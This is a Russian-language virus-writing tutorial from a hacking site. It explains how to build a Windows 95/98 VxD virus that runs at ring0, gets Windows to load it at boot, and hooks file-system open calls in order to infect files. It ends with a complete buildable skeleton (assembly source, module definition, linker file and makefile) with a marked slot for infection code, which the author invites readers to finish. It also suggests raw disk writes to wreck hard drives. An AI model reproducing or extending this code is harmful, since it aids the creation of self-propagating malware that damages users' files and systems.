Руководство по написанию вирусов
Вирусно ориентировачное руководство по написанию VxD
Это руководство дает только первоначальное ознакомление с программированием
VxD. Чтобы полностью получить представление о предмете разговора, вам нужно
нечто большее чем просто этот файл.
Что такое VxD?
--------------
Ну что-ж, начнем с того, что нам в нем интересно... VxD это 32-битный кусок
кода, который выполняется в защищенном режиме с привилегиями Кольца0 (ring0).
Все это сделано потому,что они имеют дело с системными ресурсами (такими как
драйверы железа и инсталлированные прогаммы). Я надеюсь, что с этого момента,
не остается сомнений в том, что именно нам в этом интересно? Написание VxD,
контролирующего программы (конечно-же!). Для достижения этого мы рассмотрим то
место в ОС, где мы можем нанести наибольший ущерб - файловую систему.
С чего начать?
--------------
Перед началом, вы должны заполучить несколько утилит. Эти программы доступны в
Микрософт Девелопмент Нетворк (MSDN) и в нескольких других местах. Они вам
точно понадобятся, если вы интересуетесь написанием VxD.
- Microsoft Macro Assembler (я использую 6.11c).
- Linear-Executable Linker (я использую 1.00.058).
- ADDHDR.EXE и MAPSYM32.EXE из Microsoft SDK
Так как первые вирусы для Win98, написанные как VxD, уже начали бродить
вокруг, я обнаружил что больше количество народа ищет .INC файлы, которые
необходимы для компиляции всего этого дела. Вам будут нужны следующие файлы
из SDK:
- VMM.INC : в этом файле вы найдете макросы и определения сервисов VMM
- DEBUG.INC : только если вам нужна отладка
- SHELL.INC : этот файл определяет сервисы, которые дают доступ ко многим
функциям Windoze, таким как MessageBox.
- IFS.INC и
- IFSMGR.INC: интересны вамЁ только если вы хотите потрахаться с файловой
системой Windows95.
Ссылки на все эти inc-файлы должны стоять в исходнике между директивами .xlist
и .list
Написание VxD
-------------
Написание VxD - будет делом несравнимо легким, если мы возьмем обобщенный
пример, и будем добавлять наш код там, где нам надо. Давайте разобьем нашу
работу на несколько стадий. Так мы сможем инсталлировать и тестировать вирус,
как только закончим работу с очередным куском.
Сперва начнем с обобщенного VxD - который содержит сегмент, VxD и определения
контрольных процессов. Позднее добавим процедуру инициализации в real-mode,
которая (как мы увидим) будет всем известной проверкой на резидентую копию.
Затем добавим инициализацию VxD и перехват обращений к файлам. И, под конец -
допишем все остальные процедуры VxD.
Сегменты VxD
------------
Внутри VxD мы можем найти пять разных типов серментов. Каждый из них имеет
свои собственные характеристики. Для того, чтобы обьявить эти сегменты мы
можем использовать следующий макрос:
- VxD_CODE_SEG и VxD_CODE_ENDS: еще зовется _LTEXT, - кодовый сегмент
защищенного режима. Обьявление этого сегмента обязательно.
- VxD_DATA_SEG и VxD_DATA_ENDS: так же зовется _LDATA, определяет
сегмент данных для глобального использования в VxD. Его так-же
нужно обьявлять.
- VxD_ICODE_SEG и VxD_ICODE_ENDS: еще зовется _ITEXT. Эти два макроса
определяют начало и конец сегмента инициализации в прот-моде. Этот
сегмент необязателен и освобождается, как только инициализация
завершена (после получения сообщения Init_Complete).
- VxD_IDATA_SEG и VxD_IDATA_ENDS: еще зовется _IDATA, здесь мы можем
хранить все необходимые для инициализации данные, которые будут
отброшены как только мы получим сообщение Init_Complete. Использование
этого сегмента необязательно.
- VxD_REAL_INIT_SEG и VxD_REAL_INIT_ENDS: необязательный сегмент, который
имеет так-же имя _RTEXT, содержит процедуру, которую Менеджер Виртуальной
Машины (VMM - Virtual Machine Manager) будет вызывать перед загрузкой
всех остальных частей VxD. Этот сегмент освобождается как только
процедура произведет возврат управления.
Все эти сегменты, за исключением _RTEXT (инициализации в реальном режиме) -
сегменты защищенного режима с flat моделью памяти. Это означаетЁ что все
смещения - 32-битные и нам надо использовать макрос "offset32" везде, где
мы раньше писали "offset". Теперь CS, DS, ES и SS не могут изменяться, но
вместо них мы можем использовать FS и GS.
Обьявление VxD
--------------
Для того, чтобы обьявить наш VxD мы будем юзать следующий макрос:
Declare_Virtual_Device имя, старшая версия, младшая версия, контольная
процедура, ID устройства, порядок инициализации, обработчик V86 API,
обработчик прот-модного API
Ебится седце перестало.. На первый взгляд это выглядит страшновато, но
позвольте мне написать пример, который изменит это первое впечатление. Мы
обьявим VxD с именем ViRuS, который будет версией 1.0 нашего вируса.
Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,
Как видите, я не испрользовал последние параметры, потому как нам (пока?) не
интересно предоставлять API для других программ, или использовать порядок
инициализации.
VxD-ID
------
Это число, которое позвоит нам отличать один VxD от другого. Это необходимо
если VxD предоставляет API для других программ, или дает другим VxD доступ к
своим сервисам. В нашем случае мы будем использовать ID - Undefined_Device_ID.
Контрольная процедура VxD
-------------------------
VMM посылает контрольные сообщения для VxD, используя эту процедуру. Так он
может оповещать некоторые VxD о наступлении определенного события. Следуя
нашему последнему примеру, контрольная процедура будет выглядеть так:
BeginProc VxD_Control ; Имя контрольной процедуры, которое мы
; обьявили вместе с VxD
Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init
Control_Dispatch Device_Init, ViRuS_Device_Init
EndProc VxD_Control
Мы определяем, какие процедуры будут запускаться при получении того или иного
контрольного сообщения. Типа: если получено сообщение Sys_Critical_Init, то
будет работать процедура ViRuS_Critical_Init, и если получено сообщение
Device_Init, то запустится процедура ViRuS_Device_Init.
Системные Контрольные Сообщения
-------------------------------
Как мы уже сказали, VMM посылает сообщения к VxD о том сто произошло
определенное изменение в системе. Существует много всяких сообщений, но мы
только начинаем, иак что нам интересны тоько несколько:
- Sys_Critical_Init: это первое сообщение, которое получит наш VxD. Так
как прерывания еще не разрешены, ни Simulate_Int ни Exec_Int не могут
быть использованы. Другие сервисы в нашем распоряжении (такие как
Get_Exec_Path, который снабдит нас именем каталога, где инсталлирован
наш VxD).
- Device_Init: второе сообщение, которе говорит нам, что прерывания уже
доступны. Это нам понадобится, когда мы полезем в файловую систему.
- Init_Complete: третье, и поледнее сообщение относящееся к старту
системы. При выходе из процедуры, обрабатывающей это сообщение, VMM
освободит сегменты, в которых находится код и данные для инициализации
(следовательно _ITEXT и _IDATA).
- System_Exit: это первое сообщение из тех, которые мы получим если
система готовится в перезагрузке или выключению. Хотя прерывания
разрешены, сервисы Simulate_Int и Exec_Int уже не должны
использоваться.
- Sys_Critical_Exit: последнее сообщение при выключении, я думаю
все ясно...
Для того, чтобы Win95 загрузила наш VxD, мы должны добавить строчку
DEVICE=VIRUS.VxD, в секцию [386Enh] файла SYSTEM.INI, потом скопировать VxD в
каталог \SYSTEM и перезагрузиться. Другое решение показано, например, в вирусе
Win95.Lizard написанном Reptile/29A. Фокус заключается в использовании
каталога \IOSUBSYS
Windows95 может загружать VxD динамически, что нам очень интересно. Однако это
требует использования других сообщений, которые сообщают о динамическом старте
и стопе. Эта техника не описана здесь, потомы что она более сложна и
потому-что я (#$%&%*^ в рот) не хочу провести остаток своей жизни за
дописыванием этой фигни! :P))
Инициализация в реальном режиме
-------------------------------
Это единственная чать VxD, которая исполняется в реальном режиме. Она
запускается в начале процесса загрузки и инициализации. Эта процедура может
быть использована чтобы предотвратить загрузку VxD, загрузку Windows, и т.д.
Мы будем испльзовать ее для проверки на резидентную часть, чтобы избежать
посторной загрузки VxDб если он уже загружен. VMM вызывает эту процедуру со
следующими параметрами:
AX -> номер версии VMM.
AH -> страшая версия.
AL -> младшая версия.
BX -> флаги при загрузке.
Duplicate_Device_ID -> VxD с таким-же ID уже загружен.
Duplicate_From_INT2F -> тоже самое, но от int 2Fh.
Loading_From_INT2F -> само себя обьясняет :)
ECX -> 32-bit указатель, указывающий на точку входа процедуры сервисов
инициализации, которая позволяет делать таие вещи как читать
регистри или SYSTEM.INI.
EDX -> указатель на данные от int 2fh, или null.
SI -> сегмент енвиронмент, как он передан от MS-DOS.
Наш VxD может заставить VMM выполнить некоторые действия, такие как
резервирование физических страниц, возвращением следующих параметров:
AX -> действие.
Abort_Device_Load: это значение мы вернем, если VMM скажет нам
что VxD с таким-же VxD-ID уже загружен. Предотвращает загрузку
VxD, не беспокоя другие VxD.
Abort_Win386_Load: говорит VMM, что все полетело к чертям
собачьим, и что ему лучше совсем не загружать Windows
(что все равно скоро и так произойдет) :P
Device_Load_Ok: когда VMM получает это значение, он понимает
что инициализация идет без проблем, и процесс загрузки должен
продолжаться.
No_Fail_Message: это значение используется в комбинации с
Abort_Device_Load и Abort_Win386_Load чобы предотвратить
некоторые сообщения об ошибке, которые могут показываться при
отмене загрузки Win или VxD.
BX -> указывает на массив с количеством страниц, резервируемых для
VxD. Этот массив заканчивается NULL и содержит страницы в пределах
от 0000h до 0100h. Если мы не хотим ничего резервировать, это
значение будет равно 0000h.
EDX -> данные описания, пока что зададим как 00000000h.
SI -> instance данные, тоже проставим в 0000h.
Интересные нам сервисы VMM
--------------------------
Менеджер Виртуальной Машины (VMM) - это сердце операционной системы, так как
он упавляет всеми виртуальными машинами. Кроме того, он предоставляет
некоторые сервисы, часть из которых я опишу в примерах:
Get_Cur_VM_Handle
-----------------
Возвращает в EBX хэндл виртуальной машины, которая исполняется сечас.
VMMcall Get_Cur_VM_Handle
mov [VM_handle],ebx
Get_Sys_VM_Handle
-----------------
Возвращает в EBX хэндл системной VM
VMMcall Get_Sys_VM_Handle
mov [SysVM_handle],ebx
Get_VMM_Version
---------------
Возвращает информацию о версии VMM.
VMMcall Get_VMM_Version
mov [Major],ah ; Стерший номер версии
mov [Minor],al ; Младший номер версии
mov [Debug],ecx ; Hомер ревизии
Get_Config_Directory
--------------------
Эта классная функция снабдит нас полным путем к каталогу, где Windows
хранит системные файлы (такие как SYSTEM.INI).
VMMcall Get_Config_Directory
mov [win_path],edx
Get_Exec_Path
-------------
Возвращает указатель на путь, где Windows держит файл VMM32.VXD. Это
будет наилучшим каталогом для нашего вирусного VxD, где он будет скрыт
между системными файлами в \SYSTEM.
VMMcall Get_Exec_Path
mov [path_ptr],edx
mov [length],ecx
Регистер ECX содержит число символов в строке, включая последний
обратный слэш "\".
_HeapAllocate
-------------
Выделяет память в heap.
VMMcall _HeapAllocate,<#bytes,flags>
or eax,eax ; eax = 00h если ошибка
jz not_allocated
mov [block_ptr], eax ; Указатель на выделенный блок
#bytes -> определяет сколько байт надо выделить
flags -> может содержать следующие флаги:
HEAPLOCKEDIFDP: выделяет блок памяти, который не будет
свопиться, если для свопирования будут использоваться функции
MS-DOS или BIOS
HEAPINIT: этот флаг может быть указан только в процессе
инициализации. Он выделяет блок памяти, который будет
автоматически освобожден, как только инит будет закончен.
HEAPSWAP: блок выделяется в страничной (свопируемой) зоне
памяти.
HEAPZEROINIT: выделенный блок заполняется 00h
_HeapFree
---------
Освобождает блок памяти, который был выделен с помощью предыдущей
функции.
VMMcall _HeapFree,
or eax,eax ; eax = 00h если ошибка
jz error
Hook_V86_Int_Chain
------------------
Добавить новый обработчик в V86 прерывание. Вирус Gollum использует этот
сервис чтобы перехватить вызов int 21h.
mov eax,int_number ; Номер прерывания
mov esi,OFFSET32 my_handler ; Указатель на наш обработчик
VMMcall Hook_V86_Int_Chain
jc error ; Флаг переноса установлен
; при ошибке
Система будет вызывать новый обработчик примерно так:
mov eax,int_number ; Прерывание
mov ebx, VM ; Хэндл текущей VM
mov ebp, OFFSET32 crs ; Указатель на Client_Reg_Struc
call [my_handler]
jc pass_to_next ; Флаг переноса установлен если
; функция не обработана
У нас еще есть Unhook_V86_Int_Chain, чье предназначение - удалять
обработчики, такие как мы только что установили.
mov eax,int_number ; Номер прерывания
mov esi,OFFSET32 Hook_Proc ; Адрес процедуры, которая будет
; удалена из цепочки обработчиков
VMMcall Unhook_V86_Int_Chain
jc error ; Флаг переноса установлен
; при ошибке
Инсталлируемая Файловая Система (IFS)
-------------------------------------
Тут находятся все функции, которые мы частенько использовали в MS DOS, и
которые позволяют нам открывать файлы, читать их, и т.д ... Все это будет там,
где наш вирус перехватит все обращения ОС к файлам, и заразит их. Hо, давайте
будем последовательны.
Чтобы проделать все наши действия над файлами, мы воспользуемся сервисом,
который позволит нам выполнить такие простые операции как чтение, запись и тд.
Вот он:
mov eax,R0_OPENCREATFILE ; Функция, которую мы хотим вызвать
; Требуемые параметры
mov cx,0 ; - Аттрибуты
mov bx,2 ; - Флаги
mov dx,0011h ; - Действие и специальные флаги
mov esi,OFFSET32 filename ; - Угадайте чего??? ;)
VxDCall IFSMgr_Ring0_FileIO ; И наконец, сам вызов
Теперь единственная вещь, которую нам надо знать - как вызывать каждую
функцию, и как передавать ей параметры. Дальше приведены форматы вызовов
функций, которые мы будем использовать наиболее часто:
OpenCreateFile
--------------
Будем использовать эту функцию, чтобы открывать или создавать файлы.
Параметры вызова:
EAX -> функция R0_OPENCREATFILE
BX -> режим открытия и флаги *
CX -> аттрибуты
DH -> специальные флаги (R0_NO_CACHE, R0_SWAPPER_CALL)
DL -> действие, которое надо выполнить *
ESI -> указатель на строку с именем файла
Возвращаемые значения:
если CF=0
EAX -> хэндл файла
ECX -> выполненное действие *
если CF=1 ошибка
* = Смотри int 21h функцию 6ch
ReadFile
--------
С помощью R0_READFILE мы будем читать из уже открытых (функцией
R0_OPENCREATEFILE) файлов. Она ждет от нас следующих параметров:
EAX -> R0_READFILE
EBX -> хэндл файлаа
ECX -> сколько байтов считать
EDX -> место в файле, где начать чтение
ESI -> указаатель на буфер, куда данные будут помещены
На выходе:
если CF=0 то ECX = количество прочитанных байт
если CF=1 ошибка
WriteFile
---------
Ну да, запись в файл. Параметры:
EAX -> R0_WRITEFILE
EBX -> хэндл файла
ECX -> сколько байт записать
EDX -> место в файле, с которого начать запись
ESI -> указатель на данные, которые мы хотим записать
На выходе:
если CF=0 то ECX = количество записанных байт
если CF=1 ошибка
CloseFile
---------
Понадобится, чтобы закрыть только что зараженный файл ;) Параметры:
EAX -> R0_CLOSEFILE
EBX -> хэндл файла
На выходе:
если CF=0 то файл был удачно закрыт
если CF=1 ошибка (AX = код ошибки)
GetFileSize
-----------
И почему я думаю, что она нам пригодится? Вызывайте с этими параметрами:
EAX -> R0_GETFILESIZE
EBX -> хэндл файла
В результате:
если CF=0 то EAX = размер файла в байтах
если CF=1 ошибка (AX = код ошибки)
Конечно, мы можем начать прямо сейчас... Однако, нам все еще нужны несколько
функций, таких как FileAttributes, RenameFile, DeleteFile, или
GetDiskFreeSpace. Как приятная неожиданность, - мы имеем еще
WriteAbsoluteDisk иd ReadAbsoluteDisk, чтобы поебать все вокруг, если мы не
любим жесткие диски... ;)
Теперь мы уже знаем как работать с файлами. Нам надо знатьб как внедриться в
файловую систему, чтобы мы смогли следить за ее действиями. Мы будем
использовать IFS менеджер примерно так:
mov eax,OFFSET32 hook_procedure ;наш обработчик
push eax
VxDCall IFSMgr_InstallFileSystemApiHook
add esp,0004h
or eax,eax
jz error
mov dword ptr [prev_hook],eax ;адрес предыдущего
; Продолжаем процесс инициализации
clc
ret
error:
stc
ret
Так мы можем сообщить файловой системе адрес нашего обработчика. Посмотрим на
пример этого самого обработчика:
hook_procedure:
; Эти C-вызовы просто... рулят...
push ebp
mov ebp,esp
sub esp,20h
; С этого места, мы можем найти параметры
; используя стек
; ebp+00h -> сохраненное значение EBP.
; ebp+04h -> адрес возврата.
; ebp+08h -> адрес FSD функции, которая вызывается для
; этого API.
; ebp+0Ch -> номер функции, которую пытаются выполнить
; ebp+10h -> номер диска, на котором все происходит (1 = A:,
; -1 если UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> указатель на структуру вызова IFS менеджера (IOREQ)
; Всего 20h байт
; Следующее, что мы сделаем - проверим, не было ли это нашим
; собственным вызовом при заражении файла
; Использую флаг занятости, мы избежим бесконечного цикла.
cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook
; Здесь мы проверим, какая функция была вызвана
cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE
exit_FS_hook:
mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax
; И наконец, вызовем предыдущую функцию IFS
mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]
; Процедура должна очистить стек перед возвратом
add esp,00000018h
; Возврат
leave
ret
Канонизированные пути
---------------------
Каждая строка пути, которую IFS пропускает в FSD - записана в Unicode. Эти
канонизированные пути, немного отличаются от старого доброго C:\DOS (с которым
мы так хорошо знакомы ;)
Эта структура составлена из:
1 слово (WORD) содержащее длинну строки (включая это слово но без
завершающего нулевого (NULL) символа.
1 слово (WORD) содержащее смещение до той части строки, которая
описывает путь, каждый элемент пути содержит часть информации о пути
Различные элементы пути. Их структура составлена из 1 слова (WORD),
содержащего длинну (включая это самое слово) и следующую за ней
Unicode строку с именем этого элемента.
Все канонизированные пути содержат в себе полный путь от корневого каталога.
Сервисы Инсталлируемой Файловой Системы (IFS)
---------------------------------------------
Некоторые из этих сервисов имеют C-формат вызова, так что параметры хранятся в
стеке. Другие - написаны чтобы вызываться из ASM, и требуют загрузки
параметров в регистры. Единственный сервис, который будет полезен для нас
сейчас - IFSMgr _GetVersion, который позволит нам проверить версию IFS.
IFSMgr_GetVersion
На входе:
Ну нет никаких параметров тут :)
На выходе:
Если CF=0 то EAX содержит версию IFS менеджера
Если CF=1 ошибка
Обобщенный VxD вирус
--------------------
Это пример обобщенного VxD вируса, на который можно навесить дополнительный
код. Проект составлен из следующих файлов:
VIRUS.ASM ; ASM исходник VxD вируса
VIRUS.DEF ; Файл определения модулей
VIRUS.LNK ; Файл с инструкциями для линковщика
MAKEFILE ; Файл поекта
; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
MASM=1
.386p
.XLIST
INCLUDE VMM.Inc
INCLUDE ifs.inc
INCLUDE ifsmgr.inc
INCLUDE SheLL.Inc
.LIST
Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,,
VxD_REAL_INIT_SEG
Код инициализации в реальнм режиме для win95
BeginProc VxD_Real_Init_Proc
; Проверка на резидентную чать
test bx,Duplicate_Device_ID
jnz short abort_virus_load
; Hикакие данные (exclusion/instance/reference) не используются
xor bx,bx
xor si,si
xor edx,edx
; Hе запущен - инсталлировать
mov ax,Device_Load_Ok
ret
abort_virus_load:
; Оборвать загрузку
mov ax,Abort_Device_Load or No_Fail_Message
ret
EndProc VxD_Real_Init_Proc
VxD_REAL_INIT_ENDS
VxD_LOCKED_DATA_SEG
; Мы можем писать в залоченный сегмент кода, потому что
; он внутри залоченного сегмента данных
VxD_LOCKED_CODE_SEG
инициализация устройства Virus95
BeginProc VXD_Device_Init
; Этот код инициализации, находится внутри VxD_LOCKED_CODE_SEG
; чтобы избежать его сброса в своп в процессе ебли с IFS.
; Проверить версию IFS
cld
VxDCall IFSMgr_Get_Version
jc exit_device_init
; Получить путь к WIN386.EXE
VMMCall Get_Exec_Path
; Скопировать путь в наш буфер
mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb
; Дописать имя нашего VxD файла, сразу после пути
mov esi,OFFSET32 virus_VxD_Name
mov ecx,0Bh
cld
rep movsb
; С этого момента мы имеем путь и имя нашего VxD
; вируса прямо в Виндузевом каталоге \SYSTEM ...
; Мы можем считать его в буфер, или копировать напрямую
; в процессе заражения файлов
; Следующий сервис вызывается чтобы перехватить API файловой системы.
; Он должен быть вызван, если VxD хочет наблюдать за вызовами API
; и делать с ними всякие интересные штуки.
; Менеджер IFS возвращает указатель на следующий обработчик в цепочке
mov eax,OFFSET32 virus_FS_Monitor
push eax
VxDCall IFSMgr_InstallFileSystemApiHook
; Если этот вызов неудачен (памяти напрмер не хватило),
; то возвращается 0
add esp,00000004h
or eax,eax
jz error_device_init
mov dword ptr [Prev_IFS_Hook],eax
exit_device_init:
; Продолжить поцесс инициализации
clc
ret
error_device_init:
stc
ret
EndProc VXD_Device_Init
обработчик файлового API Virus'а-95
BeginProc virus_FS_Monitor
; Бля... Используем C-соглашения о вызовах
push ebp
mov ebp,esp
sub esp,20h
; Параметы в стеке:
; ebp+00h -> сохраненное значение EBP.
; ebp+04h -> адрес возврата.
; ebp+08h -> адрес FSD функции, которая вызывается для
; этого API.
; ebp+0Ch -> номер функции, которую пытаются выполнить
; ebp+10h -> номер диска, на котором все происходит (1 = A:,
; -1 если UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> указатель на структуру вызова IFS менеджера (IOREQ)
; Всего 20h байт
; Проверим, а не обрабатывам-ли мы свой собственный вызов?
cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook
; Проверим на OPEN
; Эта функция так-же вызывается при исполнении файлов...
cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE
exit_FS_hook:
; Приготовим параметры для вызова предыдущего обработчика FS API
mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax
; Вызовем его
mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]
; Обработчик IFS вызовов должен чистить стек перед
; возвратом управления
add esp,00000018h
; Hазад, откуда вызвали
leave
ret
Открыть/создать файл
virus_OPEN_FILE:
; Сохраним регистры
pushfd
pushad
; Проставим наш флажек занятости
mov dword ptr [our_own_call],"BUSY"
; Тут можно напихать код заражения файла
; Очистим наш флажек занятости
mov dword ptr [our_own_call],"FREE"
; Восстановим регистры
popad
popfd
jmp exit_FS_hook
EndProc virus_FS_Monitor
Контролная процедура VxD Virus95
(Ебать, а как красиво было на английском - Virus95 VxD control dispatcher:)))
BeginProc VXD_Control
Control_Dispatch Device_Init, VxD_Device_Init
clc
ret
EndProc VXD_Control
VxD_LOCKED_CODE_ENDS
Буферы вируса в залоченном сегменте данных
Prev_IFS_Hook dd 00000000h ;Предыдущий обработчик IFS
our_own_call db "EERF"
VxD_File_Name db 80h dup (00h) ;Путь к VxD-вирусу
virus_VxD_Name db "virus.VXD",00h ;Имя файла VxD-вируса
VxD_LOCKED_DATA_ENDS
END
; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
LIBRARY VXD
DESCRIPTION 'ViRuS95'
EXETYPE DEV386
SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE
EXPORTS
VXD_DDB @1
; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
VIRUS.obj
VIRUS.vxd /NOI /NOD /NOP
VIRUS.map /MAP
VIRUS.def
; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
NAME = VIRUS
LINK = link386.exe
!ifdef DEBUG
DDEBUG =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG =-DDEBLEVEL=0
!endif
all : VIRUS.vxd
ASM = ml
#AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML
VIRUS.vxd: VIRUS.def VIRUS.obj
link386 @VIRUS.lnk
addhdr VIRUS.vxd
mapsym32 VIRUS
P.S. многовото вроде все прально так что можете продолжать мою работу :)
автор: Voxed
Copyright © "HACK-INFO" "admin@hack-info.org"
При использовании материалов обязательна ссылка на
http://hack-info.org.